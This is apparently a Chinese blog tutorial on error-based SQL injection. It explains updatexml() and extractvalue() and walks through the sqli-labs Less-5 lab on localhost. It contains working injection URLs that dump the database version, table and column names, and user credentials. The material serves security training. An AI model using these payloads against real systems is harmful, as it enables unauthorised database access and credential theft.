点我

SQL注入【报错型注入】

利用场景

当页面没有正确的返回错误信息时,就可以利用报错注入

原理

利用数据库中的个别函数进行报错使用

常见函数

  • updatexml()
  • extractvalue()

extractvalue()

extractvalue() :对XML文档进行查询的函数

语法:extractvalue(目标xml文档,xml路径)

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

extractvalue(456,concat(0x7e,version(),0x7e))

updatexml()

updatexml():更新XML文档的函数

语法:updatexml(目标xml内容,xml文档路径,更新的内容)

updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

实际上这里是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了,但是报错的时候他其实已经执行了那个子查询代码

其他所用函数

  • concat() ==>将多个字符串连接成一个字符串

靶场Less-5

1、进入靶场
在这里插入图片描述

2、使用反斜杠\进行探测,报出错误信息
在这里插入图片描述

3、分析报错

''1\' LIMIT 0,1' ==>'1\' LIMIT 0,1  ==>猜测变量由单引号包裹
故构造payload  1' -- q


4、写入payload,页面正常
在这里插入图片描述

5、得到字段数3,观察到页面没有回显点,但是有报错信息
在这里插入图片描述
在这里插入图片描述

6、可利用updatexml()函数

构造payload:updatexml(1,concat(0x7e,version(),0x7e),1)
注意MySQL支持16进制编码
http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,version(),0x7e),1)-- q
得出版本号 5.0以上

在这里插入图片描述

7、利用MySQL自带数据库information_schema

http://127.0.0.1/sqli/Less-5/?id=1' and
 updatexml(1,concat(0x7e,(select table_name from information_schema.tables where 
 table_schema=database() limit 0,1),0x7e),1) -- q

在这里插入图片描述
在这里插入图片描述

8、查看users表中的字段名

http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,
concat(0x7e,(select column_name from information_schema.columns where
 table_schema=database() and table_name='users' limit 0,1),0x7e),1) -- q

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
得出users表中有三个字段名:id、username、password

9、分别得出username和password 字段数据
第一个username字段数据Dumb
在这里插入图片描述

第一个password字段数据:Dumb
在这里插入图片描述

分类: WEB安全

评论

-- 评论已关闭 --

目录